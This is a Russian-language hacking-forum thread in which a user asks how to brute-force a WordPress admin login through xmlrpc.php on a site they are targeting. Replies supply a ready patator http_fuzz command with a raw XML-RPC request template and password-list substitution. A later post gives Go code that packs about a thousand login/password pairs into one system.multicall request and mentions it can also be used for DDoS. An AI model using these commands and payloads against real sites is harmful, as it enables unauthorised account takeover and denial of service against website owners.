xmlrpc brute

[dr_zoidberg]

Здравствуйте!
На сайте рабочий xmlrpc.php, вопрос - как через него брутить? Пытаюсь использовать patator, но не понимаю, какой модуль мне нужен (в репо на гите ничего не нашел). В гугле инфа по бруту xmlrpc очень бессистемная и зачастую старая. Брут админки на вп.
Ткните, пожалуйста, в мануалы или статьи, где можно об этом почитать. Благодарю)

 

[Alonebalone]

А чо гит хаб отключили ? 90 процентов успеха это правильно запрос написать в поисковике . https://github.com/search?q=brute+xmlrpc&type=

 

[c0d3x]

Обычный http_fuzz. В файле полный валидный запрос скорми пататору, вместо пароля в запросе укажи файл с паролями. Ну или просто скидывай под хайд запрос или линк, составлю запрос в пататор.

 

[dr_zoidberg]

Обычный http_fuzz. В файле полный валидный запрос скорми пататору, вместо пароля в запросе укажи файл с паролями. Ну или просто скидывай под хайд запрос или линк, составлю запрос в пататор.

 

[c0d3x]

Скрытое содержимое

Это сохранить в файл req.txt:

POST https://target.com/xmlrpc.php HTTP/1.1
Host: target.com

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>FILE1</value></param>
</params>
</methodCall>

patator.py http_fuzz raw_request=FILE0 0=req.txt 1=passwords.txt accept_cookie=1 follow=1 -x ignore:fgrep='Incorrect username or password'

Только свой таргет ты нормально не пробрутишь, там сразу бан после двух попыток

 

[dr_zoidberg]

Это сохранить в файл req.txt:

POST https://target.com/xmlrpc.php HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>FILE1</value></param>
</params>
</methodCall>

patator.py http_fuzz raw_request=FILE0 0=req.txt 1=passwords.txt accept_cookie=1 follow=1 -x ignore:fgrep='Incorrect username or password'

Только свой таргет ты нормально не пробрутишь, там сразу бан после двух попыток

в любом случае спасибо. на основе твоего ответа хоть разобрался в самом механизме)

 

[look2009]

в любом случае спасибо. на основе твоего ответа хоть разобрался в самом механизме)

postdata = `<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>`
for pass , _ = range allpass {
    for login , _ = range alllogin {
        postdata += `<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>` + alllogin[login] + `</string></value><value><string>` + allpass[pass] + `</string></value></data></array></value></data></array></value></member></struct></value>`
    }
}
postdata += `</data></array></value></param></params></methodCall>`

Этим можно одним запросом на 1000 пар логин пасс долбить, читай wordpress xmlrpc system.multicall, и ddos устраивать так-же можно )))